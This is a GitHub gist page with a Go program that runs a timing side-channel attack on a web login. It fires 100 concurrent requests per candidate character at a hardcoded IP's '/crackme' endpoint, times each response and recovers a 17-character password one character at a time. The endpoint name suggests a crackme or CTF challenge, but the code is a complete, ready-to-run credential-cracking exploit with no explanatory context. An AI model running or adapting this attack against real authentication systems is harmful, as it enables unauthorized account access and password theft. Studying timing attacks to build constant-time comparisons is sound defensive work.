Created
March 1, 2021 01:33
-
-
Save getjump/127ae38b525bf03c6ee794ea1f1e9196 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"net/http" | |
"runtime" | |
"sort" | |
"sync" | |
"time" | |
) | |
const DICTIONARY = "abcdefghijklmnopqrstuvwxyz0123456789" | |
const RETRIES_PER_SYMBOL = 100 | |
const CONCURRENCY = 50 | |
const PASSWORD_LENGTH = 17 | |
func calculateMedian(numbers []int64) int64 { | |
sort.Slice(numbers, func(i, j int) bool { return numbers[i] < numbers[j] }) | |
n := len(numbers) / 2 | |
if n%2 == 0 { | |
return numbers[n] | |
} | |
return (numbers[n-1] + numbers[n]) / 2 | |
} | |
func minimalValue(numbers []int64) int64 { | |
var maxNumber int64 | |
maxNumber = 1000000000 | |
for _, n := range numbers { | |
if n < maxNumber { | |
maxNumber = n | |
} | |
} | |
return maxNumber | |
} | |
func maximalKeyValue(tries map[string]int64) (string, int64) { | |
var maxNumber int64 | |
var maxIdx string | |
for maxIdx, maxNumber = range tries { | |
break | |
} | |
for idx, n := range tries { | |
if n > maxNumber { | |
maxNumber = n | |
maxIdx = idx | |
} | |
} | |
return maxIdx, maxNumber | |
} | |
var wg sync.WaitGroup | |
var pool chan func() | |
func main() { | |
runtime.GOMAXPROCS(runtime.NumCPU()) | |
http.DefaultTransport.(*http.Transport).MaxIdleConnsPerHost = CONCURRENCY | |
pool = make(chan func(), CONCURRENCY) | |
for i := 0; i < CONCURRENCY; i++ { | |
go func() { | |
for f := range pool { | |
f() | |
} | |
}() | |
} | |
client := http.Client{} | |
password := "5he8ineig126zdbqj" | |
var tries [36][RETRIES_PER_SYMBOL]int64 | |
avgPerSymbol := make(map[string]int64) | |
for it := 0; it < PASSWORD_LENGTH; it++ { | |
for idx, char := range DICTIONARY { | |
for i := 0; i < RETRIES_PER_SYMBOL; i++ { | |
wg.Add(1) | |
pool <- func(i int, idx int, it int, char string) func() { | |
return func() { | |
defer wg.Done() | |
password_inner := password[:it] + string(char) + password[it+1:] | |
requestStartTime := time.Now().UnixNano() | |
// fmt.Println("Trying ", password_inner) | |
resp, err := client.Get(fmt.Sprintf("http://35.194.103.229/crackme?login=hacker&password=%s", password_inner)) | |
if err != nil { | |
fmt.Println(err) | |
return | |
} | |
defer resp.Body.Close() | |
requestTime := time.Now().UnixNano() - requestStartTime | |
// fmt.Println("Request time:", requestTime) | |
tries[idx][i] = requestTime | |
} | |
}(i, idx, it, string(char)) | |
} | |
} | |
wg.Wait() | |
for idx, char := range DICTIONARY { | |
avgPerSymbol[string(char)] = minimalValue(tries[idx][:]) | |
} | |
maxIdx, _ := maximalKeyValue(avgPerSymbol) | |
password = password[:it] + string(maxIdx) + password[it+1:] | |
fmt.Println("Current password: ", password) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment